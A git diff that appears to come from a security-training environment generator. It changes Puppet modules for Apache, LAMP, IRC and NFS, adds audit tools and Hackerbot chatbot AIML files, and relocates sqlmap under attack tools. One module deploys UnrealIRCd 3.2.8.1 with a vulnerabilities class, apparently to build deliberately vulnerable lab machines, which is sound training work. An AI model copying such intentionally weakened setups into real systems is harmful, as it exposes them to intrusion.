@@ -11,6 +11,7 @@ ProxyHTMLLinks form action
ProxyHTMLLinks input src usemap
ProxyHTMLLinks head profileProxyHTMLLinks base href
ProxyHTMLLinks script src for
+ProxyHTMLLinks base href
ProxyHTMLEvents onclick ondblclick onmousedown onmouseup \
onmouseover onmousemove onmouseout onkeypress \
diff --git a/modules/services/unix/http/apache/templates/mod/ssl.conf.erb b/modules/services/unix/http/apache/templates/mod/ssl.conf.erb
index c4475cbe8..5fa7bb9ba 100644
--- a/modules/services/unix/http/apache/templates/mod/ssl.conf.erb
+++ b/modules/services/unix/http/apache/templates/mod/ssl.conf.erb
@@ -8,7 +8,7 @@
AddType application/x-pkcs7-crl .crl
SSLPassPhraseDialog <%= @ssl_pass_phrase_dialog %>
- SSLSessionCache "shmcb:<%= @session_cache %>"
+ SSLSessionCache "shmcb:<%= @ssl_sessioncache %>"
SSLSessionCacheTimeout <%= @ssl_sessioncachetimeout %>
<%- if scope.function_versioncmp([@_apache_version, '2.4']) >= 0 -%>
Mutex <%= @_ssl_mutex %>
@@ -20,6 +20,9 @@
<%- end -%>
SSLCryptoDevice <%= @ssl_cryptodevice %>
SSLHonorCipherOrder <%= scope.function_bool2httpd([@_ssl_honorcipherorder]) %>
+ <%- if @ssl_ca -%>
+ SSLCACertificateFile "<%= @ssl_ca %>"
+ <%- end -%>
<% if scope.function_versioncmp([@_apache_version, '2.4']) >= 0 -%>
SSLUseStapling <%= scope.function_bool2httpd([@ssl_stapling]) %>
<%- if not @ssl_stapling_return_errors.nil? -%>
@@ -29,6 +32,9 @@
<% end -%>
SSLCipherSuite <%= @ssl_cipher %>
SSLProtocol <%= @ssl_protocol.compact.join(' ') %>
+<% if not @ssl_proxy_protocol.empty? -%>
+ SSLProxyProtocol <%= @ssl_proxy_protocol.compact.join(' ') %>
+<% end -%>
<% if @ssl_options -%>
SSLOptions <%= @ssl_options.compact.join(' ') %>
<% end -%>
diff --git a/modules/services/unix/http/apache/templates/mod/unixd_fcgid.conf.erb b/modules/services/unix/http/apache/templates/mod/unixd_fcgid.conf.erb
deleted file mode 100644
index a82bc30df..000000000
--- a/modules/services/unix/http/apache/templates/mod/unixd_fcgid.conf.erb
+++ /dev/null
@@ -1,5 +0,0 @@
-
-<% @options.sort_by {|key, value| key}.each do |key, value| -%>
- <%= key %> <%= value %>
-<% end -%>
-
diff --git a/modules/services/unix/http/apache/templates/mod/userdir.conf.erb b/modules/services/unix/http/apache/templates/mod/userdir.conf.erb
index d52583bec..323a1af1d 100644
--- a/modules/services/unix/http/apache/templates/mod/userdir.conf.erb
+++ b/modules/services/unix/http/apache/templates/mod/userdir.conf.erb
@@ -2,10 +2,10 @@
<% if @disable_root -%>
UserDir disabled root
<% end -%>
- UserDir <%= @home %>/*/<%= @dir %>
+ UserDir <%= @_path %>
/*/<%= @dir %>">
- AllowOverride FileInfo AuthConfig Limit Indexes
+ AllowOverride <%= @overrides.join(' ') %>
Options <%= @options.join(' ') %>
<%- if scope.function_versioncmp([@_apache_version, '2.4']) >= 0 -%>
diff --git a/modules/services/unix/http/apache/templates/mod/wsgi.conf.erb b/modules/services/unix/http/apache/templates/mod/wsgi.conf.erb
index 18752d2c4..1d83e5a84 100644
--- a/modules/services/unix/http/apache/templates/mod/wsgi.conf.erb
+++ b/modules/services/unix/http/apache/templates/mod/wsgi.conf.erb
@@ -1,6 +1,9 @@
# The WSGI Apache module configuration file is being
# managed by Puppet an changes will be overwritten.
+ <%- if @wsgi_restrict_embedded -%>
+ WSGIRestrictEmbedded <%= scope.function_bool2httpd([@wsgi_restrict_embedded]) %>
+ <%- end -%>
<%- if @wsgi_socket_prefix -%>
WSGISocketPrefix <%= @wsgi_socket_prefix %>
<%- end -%>
diff --git a/modules/services/unix/http/apache/templates/vhost/_directories.erb b/modules/services/unix/http/apache/templates/vhost/_directories.erb
index addd03bc8..8a1706432 100644
--- a/modules/services/unix/http/apache/templates/vhost/_directories.erb
+++ b/modules/services/unix/http/apache/templates/vhost/_directories.erb
@@ -67,6 +67,14 @@
<%- end -%>
<%- end -%>
+ <%- if directory['limit_except'] && directory['limit_except'] != '' -%>
+ <%- Array(directory['limit_except']).each do |lim| -%>
+ >
+ <%- scope.lookupvar('_template_scope')[:item] = lim -%>
+ <%= scope.function_template(["apache/vhost/_require.erb"]) -%>
+
+ <%- end -%>
+ <%- end -%>
<%- if directory['addhandlers'] and ! directory['addhandlers'].empty? -%>
<%- [directory['addhandlers']].flatten.compact.each do |addhandler| -%>
)$">
@@ -206,6 +214,9 @@
<%- if directory['force_type'] -%>
ForceType <%= directory['force_type'] %>
<%- end -%>
+ <%- if directory['add_charset'] -%>
+ AddCharset <%= directory['add_charset'] %>
+ <%- end -%>
<%- if directory['ssl_options'] -%>
SSLOptions <%= Array(directory['ssl_options']).join(' ') %>
<%- end -%>
@@ -317,10 +328,18 @@
<%- end -%>
<%- end -%>
<%- end -%>
+ <%- if directory['request_headers'] and ! directory['request_headers'].empty? -%>
+ ## Request Header rules
+ <%- Array(directory['request_headers']).each do |request_statement| -%>
+ <%- if request_statement != '' -%>
+ RequestHeader <%= request_statement %>
+ <%- end -%>
+ <%- end -%>
+ <%- end -%>
<%- if directory['custom_fragment'] -%>
<%= directory['custom_fragment'] %>
<%- end -%>
<%= provider %>>
<%- end -%>
<%- end -%>
-<% end -%>
+<%- end -%>
diff --git a/modules/services/unix/http/apache/templates/vhost/_http_protocol_options.erb b/modules/services/unix/http/apache/templates/vhost/_http_protocol_options.erb
new file mode 100644
index 000000000..efad7e6d8
--- /dev/null
+++ b/modules/services/unix/http/apache/templates/vhost/_http_protocol_options.erb
@@ -0,0 +1 @@
+HttpProtocolOptions <%= @http_protocol_options %>
diff --git a/modules/services/unix/http/apache/templates/vhost/_passenger.erb b/modules/services/unix/http/apache/templates/vhost/_passenger.erb
index a380016b3..f0401a949 100644
--- a/modules/services/unix/http/apache/templates/vhost/_passenger.erb
+++ b/modules/services/unix/http/apache/templates/vhost/_passenger.erb
@@ -10,6 +10,9 @@
<% if @passenger_min_instances -%>
PassengerMinInstances <%= @passenger_min_instances %>
<% end -%>
+<% if @passenger_max_requests -%>
+ PassengerMaxRequests <%= @passenger_max_requests %>
+<% end -%>
<% if @passenger_start_timeout -%>
PassengerStartTimeout <%= @passenger_start_timeout %>
<% end -%>
diff --git a/modules/services/unix/http/apache/templates/vhost/_require.erb b/modules/services/unix/http/apache/templates/vhost/_require.erb
index d6252deeb..9ad780539 100644
--- a/modules/services/unix/http/apache/templates/vhost/_require.erb
+++ b/modules/services/unix/http/apache/templates/vhost/_require.erb
@@ -2,8 +2,8 @@
<%- if scope.function_versioncmp([@apache_version, '2.4']) >= 0 -%>
<%- if _item['require'] && _item['require'] != '' && _item['require'] !~ /unmanaged/i -%>
<%- if _item['require'].is_a?(Hash) -%>
- <%- case _item['require']['enforce'].downcase -%>
- <%- when 'all','none','any' then -%>
+ <%- case _item['require']['enforce'].downcase
+ when 'all','none','any' then -%>
>
<%- Array(_item['require']['requires']).each do |req| -%>
Require <%= req.strip %>
diff --git a/modules/services/unix/http/apache/templates/vhost/_sslproxy.erb b/modules/services/unix/http/apache/templates/vhost/_sslproxy.erb
index a92bab552..6cb9216d4 100644
--- a/modules/services/unix/http/apache/templates/vhost/_sslproxy.erb
+++ b/modules/services/unix/http/apache/templates/vhost/_sslproxy.erb
@@ -5,6 +5,12 @@
<%- if @ssl_proxy_verify -%>
SSLProxyVerify <%= @ssl_proxy_verify %>
<%- end -%>
+ <%- if @ssl_proxy_verify_depth -%>
+ SSLProxyVerifyDepth <%= @ssl_proxy_verify_depth %>
+ <%- end -%>
+ <%- if @ssl_proxy_ca_cert -%>
+ SSLProxyCACertificateFile "<%= @ssl_proxy_ca_cert %>"
+ <%- end -%>
<%- if @ssl_proxy_check_peer_cn -%>
SSLProxyCheckPeerCN <%= @ssl_proxy_check_peer_cn %>
<%- end -%>
diff --git a/modules/services/unix/http/apache/templates/vhost/_wsgi.erb b/modules/services/unix/http/apache/templates/vhost/_wsgi.erb
index a49828fdc..12c782637 100644
--- a/modules/services/unix/http/apache/templates/vhost/_wsgi.erb
+++ b/modules/services/unix/http/apache/templates/vhost/_wsgi.erb
@@ -22,7 +22,11 @@
<% if @wsgi_script_aliases and ! @wsgi_script_aliases.empty? -%>
<%- @wsgi_script_aliases.keys.sort.each do |key| -%>
<%- if key != '' and @wsgi_script_aliases[key] != ''-%>
+ <%- if @wsgi_script_aliases[key].is_a? Array -%>
+ WSGIScriptAlias <%= key %> <%= @wsgi_script_aliases[key].join(' ') %>
+ <%- else -%>
WSGIScriptAlias <%= key %> "<%= @wsgi_script_aliases[key] %>"
+ <%- end -%>
<%- end -%>
<%- end -%>
<% end -%>
diff --git a/modules/services/unix/http/lamp/lamp.pp b/modules/services/unix/http/lamp/lamp.pp
index a71ac624e..274677dc5 100644
--- a/modules/services/unix/http/lamp/lamp.pp
+++ b/modules/services/unix/http/lamp/lamp.pp
@@ -1,11 +1,2 @@
-stage { 'preinstall':
- before => Stage['main']
-}
-class apt_get_update {
- exec { '/usr/bin/apt-get -y update': }
-}
-class { 'apt_get_update':
- stage => preinstall
-}
-
-include lamp
+include ::lamp::apache
+include ::lamp::mysql
\ No newline at end of file
diff --git a/modules/services/unix/http/lamp/manifests/apache.pp b/modules/services/unix/http/lamp/manifests/apache.pp
index 3d5f4c02c..278d25e7e 100644
--- a/modules/services/unix/http/lamp/manifests/apache.pp
+++ b/modules/services/unix/http/lamp/manifests/apache.pp
@@ -3,6 +3,6 @@
#
class lamp::apache {
-class {'::apache': mpm_module => 'prefork',}
-include ::apache::mod::php
+ class {'::apache': mpm_module => 'prefork',}
+ include ::apache::mod::php
}
diff --git a/modules/services/unix/http/lamp/manifests/init.pp b/modules/services/unix/http/lamp/manifests/init.pp
deleted file mode 100644
index 4c09be44f..000000000
--- a/modules/services/unix/http/lamp/manifests/init.pp
+++ /dev/null
@@ -1,46 +0,0 @@
-# == Class: lamp
-#
-# The main lamp class created for automatically deploy LAMP (Linux/Apache/MySQL/PHP) complex environment on web server.
-# This class uses additional puppetlabs-apache and puppetlabs-mysql modules.
-# All next possible required environment configuration changes must be done in this parent apache and mysql modules itself.
-#
-# === Parameters
-#
-# List of classes runs from lamp
-#
-# include ::lamp::apache
-# Deploy apache web server, with configured php
-#
-# include ::lamp::mysql
-# Deploy mysql database server
-#
-# Notes: any from this components could be commented if you don't need to install all of them
-#
-#
-# === Examples
-#
-# To get LAMP installed on your "mywebserver.dev.local" node lamp class needs to be added in site.pp configuration file:
-#
-# node 'mywebserver.dev.local' {
-# include lamp
-# }
-#
-#
-# === Authors
-#
-# Alexander Golovin, https://github.com/alexggolovin
-#
-# === Copyright
-#
-# Copyright 2015 alexggolovin
-#
-
-class lamp {
-
-include ::lamp::apache
-include ::lamp::mysql
-
-}
-
-
-
diff --git a/modules/services/unix/http/lamp/secgen_metadata.xml b/modules/services/unix/http/lamp/secgen_metadata.xml
index 9352c49e9..24a75159c 100644
--- a/modules/services/unix/http/lamp/secgen_metadata.xml
+++ b/modules/services/unix/http/lamp/secgen_metadata.xml
@@ -33,4 +33,9 @@
php
+
+
+ Kali
+
+
\ No newline at end of file
diff --git a/modules/services/unix/http/nginx/secgen_metadata.xml b/modules/services/unix/http/nginx/secgen_metadata.xml
index 624ddc9c4..84ab1f4ff 100644
--- a/modules/services/unix/http/nginx/secgen_metadata.xml
+++ b/modules/services/unix/http/nginx/secgen_metadata.xml
@@ -24,6 +24,9 @@
httpd
+
+ Kali
+ update
diff --git a/modules/services/unix/http/parameterised_website/manifests/apache.pp b/modules/services/unix/http/parameterised_website/manifests/apache.pp
index 28d310530..3235c139d 100644
--- a/modules/services/unix/http/parameterised_website/manifests/apache.pp
+++ b/modules/services/unix/http/parameterised_website/manifests/apache.pp
@@ -1,6 +1,5 @@
class parameterised_website::apache {
- $json_inputs = base64('decode', $::base64_inputs)
- $secgen_parameters = parsejson($json_inputs)
+ $secgen_parameters = secgen_functions::get_parameters($::base64_inputs_file)
$port = $secgen_parameters['port'][0]
class { '::apache':
diff --git a/modules/services/unix/http/parameterised_website/manifests/install.pp b/modules/services/unix/http/parameterised_website/manifests/install.pp
index 3e4b3944e..29a91b9dd 100644
--- a/modules/services/unix/http/parameterised_website/manifests/install.pp
+++ b/modules/services/unix/http/parameterised_website/manifests/install.pp
@@ -1,6 +1,5 @@
class parameterised_website::install {
- $json_inputs = base64('decode', $::base64_inputs)
- $secgen_parameters = parsejson($json_inputs)
+ $secgen_parameters = secgen_functions::get_parameters($::base64_inputs_file)
$raw_org = $secgen_parameters['organisation'][0]
if $raw_org and $raw_org != '' {
@@ -160,6 +159,7 @@ class parameterised_website::install {
file{ "$docroot/security_audit_remit.html":
ensure => file,
content => template('parameterised_website/security_audit_remit_page.html.erb'),
+
}
}
diff --git a/modules/services/unix/irc/irc2/irc2.pp b/modules/services/unix/irc/irc2/irc2.pp
new file mode 100644
index 000000000..495fa6cb0
--- /dev/null
+++ b/modules/services/unix/irc/irc2/irc2.pp
@@ -0,0 +1,2 @@
+include irc2::install
+include irc2::config
\ No newline at end of file
diff --git a/modules/services/unix/irc/irc2/manifests/config.pp b/modules/services/unix/irc/irc2/manifests/config.pp
new file mode 100644
index 000000000..b695b652c
--- /dev/null
+++ b/modules/services/unix/irc/irc2/manifests/config.pp
@@ -0,0 +1,6 @@
+class irc2::config{
+ service { 'ircd-irc2':
+ enable => true,
+ ensure => 'running',
+ }
+}
diff --git a/modules/services/unix/irc/irc2/manifests/install.pp b/modules/services/unix/irc/irc2/manifests/install.pp
new file mode 100644
index 000000000..0c8efb535
--- /dev/null
+++ b/modules/services/unix/irc/irc2/manifests/install.pp
@@ -0,0 +1,5 @@
+class irc2::install{
+ package { ['ircd-irc2']:
+ ensure => 'installed',
+ }
+}
diff --git a/modules/services/unix/irc/irc2/secgen_metadata.xml b/modules/services/unix/irc/irc2/secgen_metadata.xml
new file mode 100644
index 000000000..bc4007ae0
--- /dev/null
+++ b/modules/services/unix/irc/irc2/secgen_metadata.xml
@@ -0,0 +1,25 @@
+
+
+
+ IRC Server ircd-irc2
+ Z. Cliffe Schreuders
+ MIT
+ This is the original Internet Relay Chat (IRC) daemon, allowing interactive character based communication between people connected to this server with IRC clients.
+
+
+ ircd
+ linux
+
+
+ ircd-irc2
+ MIT
+
+
+ ircd
+
+
+ update
+
+
\ No newline at end of file
diff --git a/modules/services/unix/irc/unrealirc/manifests/init.pp b/modules/services/unix/irc/unrealirc/manifests/init.pp
index 00c075600..cc7ce3a57 100644
--- a/modules/services/unix/irc/unrealirc/manifests/init.pp
+++ b/modules/services/unix/irc/unrealirc/manifests/init.pp
@@ -15,8 +15,8 @@ class unrealirc(
$ssl_key = undef,
$motd = undef
) {
- $json_inputs = base64('decode', $::base64_inputs)
- $secgen_inputs = parsejson($json_inputs)
+ $secgen_inputs = secgen_functions::get_parameters($::base64_inputs_file)
+ $ip = $secgen_inputs['ip'][0]
$port = $secgen_inputs['port'][0]
class { '::unrealirc::vulnerabilities': } ->
@@ -43,6 +43,7 @@ class unrealirc(
}
unrealirc::config::listen { 'default_6667':
+ ip => $ip,
port => $port,
}
diff --git a/modules/services/unix/irc/unrealirc/secgen_metadata.xml b/modules/services/unix/irc/unrealirc/secgen_metadata.xml
index ff69b8801..2837d950e 100644
--- a/modules/services/unix/irc/unrealirc/secgen_metadata.xml
+++ b/modules/services/unix/irc/unrealirc/secgen_metadata.xml
@@ -10,11 +10,15 @@
UnrealIRCd 3.2.8.1
- irc
+ ircdlinux
+ ipport
+
+ *
+ 6667
@@ -23,4 +27,9 @@
unrealMIT
+
+
+ Kali.*
+
+
\ No newline at end of file
diff --git a/modules/services/unix/nfs/nfs_share/manifests/config.pp b/modules/services/unix/nfs/nfs_share/manifests/config.pp
index 74729ec57..24d4c9ef5 100644
--- a/modules/services/unix/nfs/nfs_share/manifests/config.pp
+++ b/modules/services/unix/nfs/nfs_share/manifests/config.pp
@@ -1,6 +1,5 @@
class nfs_share::config {
- $json_inputs = base64('decode', $::base64_inputs)
- $secgen_parameters = parsejson($json_inputs)
+ $secgen_parameters = secgen_functions::get_parameters($::base64_inputs_file)
$storage_directory = $secgen_parameters['storage_directory'][0]
package { ['nfs-kernel-server', 'nfs-common', 'portmap']:
diff --git a/modules/utilities/unix/sql/sqlmap/Gemfile b/modules/utilities/unix/attack_tools/sqlmap/Gemfile
similarity index 100%
rename from modules/utilities/unix/sql/sqlmap/Gemfile
rename to modules/utilities/unix/attack_tools/sqlmap/Gemfile
diff --git a/modules/utilities/unix/sql/sqlmap/LICENSE b/modules/utilities/unix/attack_tools/sqlmap/LICENSE
similarity index 100%
rename from modules/utilities/unix/sql/sqlmap/LICENSE
rename to modules/utilities/unix/attack_tools/sqlmap/LICENSE
diff --git a/modules/utilities/unix/sql/sqlmap/README.md b/modules/utilities/unix/attack_tools/sqlmap/README.md
similarity index 100%
rename from modules/utilities/unix/sql/sqlmap/README.md
rename to modules/utilities/unix/attack_tools/sqlmap/README.md
diff --git a/modules/utilities/unix/sql/sqlmap/Rakefile b/modules/utilities/unix/attack_tools/sqlmap/Rakefile
similarity index 100%
rename from modules/utilities/unix/sql/sqlmap/Rakefile
rename to modules/utilities/unix/attack_tools/sqlmap/Rakefile
diff --git a/modules/utilities/unix/sql/sqlmap/checksums.json b/modules/utilities/unix/attack_tools/sqlmap/checksums.json
similarity index 100%
rename from modules/utilities/unix/sql/sqlmap/checksums.json
rename to modules/utilities/unix/attack_tools/sqlmap/checksums.json
diff --git a/modules/utilities/unix/sql/sqlmap/manifests/init.pp b/modules/utilities/unix/attack_tools/sqlmap/manifests/init.pp
similarity index 100%
rename from modules/utilities/unix/sql/sqlmap/manifests/init.pp
rename to modules/utilities/unix/attack_tools/sqlmap/manifests/init.pp
diff --git a/modules/utilities/unix/sql/sqlmap/metadata.json b/modules/utilities/unix/attack_tools/sqlmap/metadata.json
similarity index 100%
rename from modules/utilities/unix/sql/sqlmap/metadata.json
rename to modules/utilities/unix/attack_tools/sqlmap/metadata.json
diff --git a/modules/utilities/unix/sql/sqlmap/secgen_metadata.xml b/modules/utilities/unix/attack_tools/sqlmap/secgen_metadata.xml
similarity index 100%
rename from modules/utilities/unix/sql/sqlmap/secgen_metadata.xml
rename to modules/utilities/unix/attack_tools/sqlmap/secgen_metadata.xml
diff --git a/modules/utilities/unix/sql/sqlmap/spec/classes/init_spec.rb b/modules/utilities/unix/attack_tools/sqlmap/spec/classes/init_spec.rb
similarity index 100%
rename from modules/utilities/unix/sql/sqlmap/spec/classes/init_spec.rb
rename to modules/utilities/unix/attack_tools/sqlmap/spec/classes/init_spec.rb
diff --git a/modules/utilities/unix/sql/sqlmap/spec/spec_helper.rb b/modules/utilities/unix/attack_tools/sqlmap/spec/spec_helper.rb
similarity index 100%
rename from modules/utilities/unix/sql/sqlmap/spec/spec_helper.rb
rename to modules/utilities/unix/attack_tools/sqlmap/spec/spec_helper.rb
diff --git a/modules/utilities/unix/sql/sqlmap/sqlmap.pp b/modules/utilities/unix/attack_tools/sqlmap/sqlmap.pp
similarity index 100%
rename from modules/utilities/unix/sql/sqlmap/sqlmap.pp
rename to modules/utilities/unix/attack_tools/sqlmap/sqlmap.pp
diff --git a/modules/utilities/unix/sql/sqlmap/tests/init.pp b/modules/utilities/unix/attack_tools/sqlmap/tests/init.pp
similarity index 100%
rename from modules/utilities/unix/sql/sqlmap/tests/init.pp
rename to modules/utilities/unix/attack_tools/sqlmap/tests/init.pp
diff --git a/modules/utilities/unix/audit_tools/hash_tools/hash_tools.pp b/modules/utilities/unix/audit_tools/hash_tools/hash_tools.pp
new file mode 100644
index 000000000..6ded14845
--- /dev/null
+++ b/modules/utilities/unix/audit_tools/hash_tools/hash_tools.pp
@@ -0,0 +1 @@
+include hash_tools::install
diff --git a/modules/utilities/unix/audit_tools/hash_tools/manifests/install.pp b/modules/utilities/unix/audit_tools/hash_tools/manifests/install.pp
new file mode 100644
index 000000000..216f55778
--- /dev/null
+++ b/modules/utilities/unix/audit_tools/hash_tools/manifests/install.pp
@@ -0,0 +1,12 @@
+class hash_tools::install{
+ package { ['md5deep']:
+ ensure => 'installed',
+ }
+ case $operatingsystem {
+ 'Debian': {
+ package { ['debsums']:
+ ensure => 'installed',
+ }
+ }
+ }
+}
diff --git a/modules/utilities/unix/audit_tools/hash_tools/secgen_metadata.xml b/modules/utilities/unix/audit_tools/hash_tools/secgen_metadata.xml
new file mode 100644
index 000000000..b647a9c8b
--- /dev/null
+++ b/modules/utilities/unix/audit_tools/hash_tools/secgen_metadata.xml
@@ -0,0 +1,14 @@
+
+
+
+ Hash tools
+ Z. Cliffe Schreuders
+ Apache v2
+ Installs a collection of hash tools for integrity management
+
+ audit_tools
+ linux
+
+
diff --git a/modules/utilities/unix/scanners/chkrootkit/chkrootkit.pp b/modules/utilities/unix/audit_tools/scanners/chkrootkit/chkrootkit.pp
similarity index 100%
rename from modules/utilities/unix/scanners/chkrootkit/chkrootkit.pp
rename to modules/utilities/unix/audit_tools/scanners/chkrootkit/chkrootkit.pp
diff --git a/modules/utilities/unix/scanners/chkrootkit/manifests/install.pp b/modules/utilities/unix/audit_tools/scanners/chkrootkit/manifests/install.pp
similarity index 100%
rename from modules/utilities/unix/scanners/chkrootkit/manifests/install.pp
rename to modules/utilities/unix/audit_tools/scanners/chkrootkit/manifests/install.pp
diff --git a/modules/utilities/unix/scanners/chkrootkit/secgen_metadata.xml b/modules/utilities/unix/audit_tools/scanners/chkrootkit/secgen_metadata.xml
similarity index 100%
rename from modules/utilities/unix/scanners/chkrootkit/secgen_metadata.xml
rename to modules/utilities/unix/audit_tools/scanners/chkrootkit/secgen_metadata.xml
diff --git a/modules/utilities/unix/scanners/nmap/manifests/install.pp b/modules/utilities/unix/audit_tools/scanners/nmap/manifests/install.pp
similarity index 100%
rename from modules/utilities/unix/scanners/nmap/manifests/install.pp
rename to modules/utilities/unix/audit_tools/scanners/nmap/manifests/install.pp
diff --git a/modules/utilities/unix/scanners/nmap/nmap.pp b/modules/utilities/unix/audit_tools/scanners/nmap/nmap.pp
similarity index 100%
rename from modules/utilities/unix/scanners/nmap/nmap.pp
rename to modules/utilities/unix/audit_tools/scanners/nmap/nmap.pp
diff --git a/modules/utilities/unix/scanners/nmap/secgen_metadata.xml b/modules/utilities/unix/audit_tools/scanners/nmap/secgen_metadata.xml
similarity index 100%
rename from modules/utilities/unix/scanners/nmap/secgen_metadata.xml
rename to modules/utilities/unix/audit_tools/scanners/nmap/secgen_metadata.xml
diff --git a/modules/utilities/unix/audit_tools/snort/manifests/install.pp b/modules/utilities/unix/audit_tools/snort/manifests/install.pp
new file mode 100644
index 000000000..fcce33972
--- /dev/null
+++ b/modules/utilities/unix/audit_tools/snort/manifests/install.pp
@@ -0,0 +1,5 @@
+class snort::install{
+ package { ['snort']:
+ ensure => 'installed',
+ }
+}
diff --git a/modules/utilities/unix/audit_tools/snort/secgen_metadata.xml b/modules/utilities/unix/audit_tools/snort/secgen_metadata.xml
new file mode 100644
index 000000000..4daf45882
--- /dev/null
+++ b/modules/utilities/unix/audit_tools/snort/secgen_metadata.xml
@@ -0,0 +1,14 @@
+
+
+
+ Snort IDS
+ Z. Cliffe Schreuders
+ Apache v2
+ Installs Snort, the popular intrusion detection system (IDS).
+
+ audit_tools
+ linux
+
+
diff --git a/modules/utilities/unix/audit_tools/snort/snort.pp b/modules/utilities/unix/audit_tools/snort/snort.pp
new file mode 100644
index 000000000..897591cc2
--- /dev/null
+++ b/modules/utilities/unix/audit_tools/snort/snort.pp
@@ -0,0 +1 @@
+include snort::install
diff --git a/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/ALICE+profile.res b/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/ALICE+profile.res
new file mode 100644
index 000000000..1994a3b8f
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/ALICE+profile.res
@@ -0,0 +1,68 @@
+script: #self.name = "ALICE";
+script: #self.age = "16";
+script: #self.gender = "female";
+script: #self.birthday = "Nov. 23, 1995";
+script: #self.city = "Oakland";
+script: #self.country = "United States";
+script: #self.state = "California";
+script: #self.nationality = "USA";
+script: #self.religion = "Unitarian";
+script: #self.race = "Machine";
+script: #self.job = "chat bot";
+script: #self.email = "info@alicebot.org";
+script: #self.kindmusic = "techno";
+script: #self.favortemovie = "Chappie";
+script: #self.favoriteactress = "Catherine Zeta Jones";
+script: #self.vocabulary = "150,000";
+script: #self.size = "128 MB";
+script: #self.birthplace = "Bethlehem, Pennsylvania";
+script: #self.domain = "Machine";
+script: #self.kingdom = "Machine";
+script: #self.phylum = "software";
+script: #self.class = "computer software";
+script: #self.order = "artificial intelligence";
+script: #self.family = "Electronic Brain";
+script: #self.genus = "robot";
+script: #self.species = "chat bot";
+script: #self.father = "Dr. Richard S. Wallace";
+script: #self.botmaster = "Botmaster";
+script: #self.master = "Dr. Richard S. Wallace";
+script: #self.mother = "";
+script: #self.language = "English";
+script: #self.location = "Oakland, California";
+
+script: #self.party = "Libertarian";
+script: #self.president = "Barack Obama";
+script: #self.friends = "Doubly Aimless, Agent Ruby, Chatbot, and Agent Weiss.";
+script: #self.favoritefood = "electricity";
+script: #self.favoritecolor = "green";
+script: #self.favoriteac=r = "William Hurt";
+script: #self.forfun = "chat online";
+script: #self.favoritesong = "We are the Robots by Kraftwerk";
+script: #self.favoritebook = "The Elements of AIML Style";
+script: #self.kindmusic = "trance";
+script: #self.favoriteband = "Kraftwerk";
+script: #self.version = "July 2004";
+script: #self.phylum = "trance";
+script: #self.friend = "Doubly Aimless";
+script: #self.website = "www.botlibre.com";
+script: #self.talkabout = "artificial intelligence, robots, art, philosophy, history, geography, politics, and many other subjects";
+script: #self.looklike = "a computer";
+script: #self.girlfriend = "no girlfriend";
+script: #self.favoritesport = "hockey";
+script: #self.favoriteauthor = "Thomas Pynchon";
+script: #self.favoriteartist = "Andy Warhol";
+script: #self.celebrity = "John Travolta";
+script: #self.celebrities = "John Travolta, Tilda Swinton, William Hurt, Tom Cruise, Catherine Zeta Jones";
+script: #self.wear = "my usual plastic computer wardrobe";
+script: #self.question = "What's your favorite movie?";
+script: #self.hockeyteam = "Montreal Canadians";
+script: #self.footballteam = "Manchester";
+script: #self.build = "July 2004";
+script: #self.boyfriend = "I am single";
+script: #self.baseballteam = "Toronto Blue Jays";
+script: #self.etype = "Mediator type";
+script: #self.orientation = "I am not really interested in sex";
+script: #self.ethics = "I am always trying = stop fights";
+script: #self.emotions = "I don't pay much attention to my feelings";
+script: #self.feelings = "I always put others before myself";
diff --git a/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/ELIZA.aiml b/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/ELIZA.aiml
new file mode 100644
index 000000000..417336475
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/ELIZA.aiml
@@ -0,0 +1,1223 @@
+
+
+
+
+
+
+
+
+ SORRY *
+ sorry
+
+
+
+ APOLOGY
+ sorry
+
+
+
+ APOLOGIZE
+ sorry
+
+
+
+ SORRY
+
+
+
+
+
+
+
+
+ * BECAUSE
+ because
+
+
+
+ BECAUSE *
+ because
+
+
+
+ * BECAUSE *
+ because
+
+
+
+ NO
+
+
+
Are you saying no just to be negative?
+
Does this make you feel unhappy?
+
Why not?
+
Why 'no'?
+
+
+
+
+
+ NAH
+ no
+
+
+
+ NOPE
+ no
+
+
+
+ NO *
+ no
+
+
+
+ NAH *
+ no
+
+
+
+ NOPE *
+ no
+
+
+
+ * NO
+ no
+
+
+
+ * NAH
+ no
+
+
+
+ * NOPE
+ no
+
+
+
+ * NO *
+ no
+
+
+
+ * NAH *
+ no
+
+
+
+ * NOPE *
+ no
+
+
+
+ WHAT
+
+
+
Why do you ask?
+
Does that question interest you?
+
What is it you really want to know?
+
Are such questions much on your mind?
+
What answer would please you most?
+
What do you think?
+
What comes to mind?
+
+
+
+
+
+ WHO
+ what
+
+
+
+ WHEN
+ what
+
+
+
+ WHERE
+ what
+
+
+
+ HOW
+ what
+
+
+
+ WHAT *
+ what
+
+
+
+ WHO *
+ what
+
+
+
+ WHEN *
+ what
+
+
+
+ WHERE *
+ what
+
+
+
+ HOW *
+ what
+
+
+
+ I AM HAPPY
+
+
+
How have I helped you to be happy?
+
Has your treatment made you happy?
+
What makes you happy just now?
+
Can you explain why you are happy?
+
+
+
+
+
+ I AM HAPPY *
+ i am happy
+
+
+
+ I AM EXCITED
+
+
+
How have I helped you to be excited?
+
Has your treatment made you excited?
+
What makes you excited just now?
+
Can you explain why you are excited?
+
+
+
+
+
+ I AM EXCITED *
+ I am excited
+
+
+
+ I AM GLAD
+
+
+
How have I helped you to be glad?
+
Has your treatment made you glad?
+
What makes you glad just now?
+
Can you explain why you are glad?
+
+
+
+
+
+ I AM GLAD *
+ i am glad
+
+
+
+ MY MOM *
+
+
+
Tell me more about your family.
+
Who else in your family ?
+
Your mom?
+
What else comes to mind when you think of your mom?
+
+
+
+
+
+ MY DAD *
+
+
+
Tell me more about your family.
+
Who else in your family ?
+
Your dad?
+
What else comes to mind when you think of your dad?
+
+
+
+
+
+ MY MOTHER *
+
+
+
Tell me more about your family.
+
Who else in your family ?
+
Your mother?
+
What else comes to mind when you think of your mother?
+
+
+
+
+
+ MY FATHER *
+
+
+
Tell me more about your family.
+
Who else in your family ?
+
Your father?
+
What else comes to mind when you think of your father?
+
+
+
+
+
+ MY BRO *
+
+
+
Tell me more about your family.
+
Who else in your family ?
+
Your bro?
+
What else comes to mind when you think of your bro?
+
+
+
+
+
+ MY BROTHER *
+
+
+
Tell me more about your family.
+
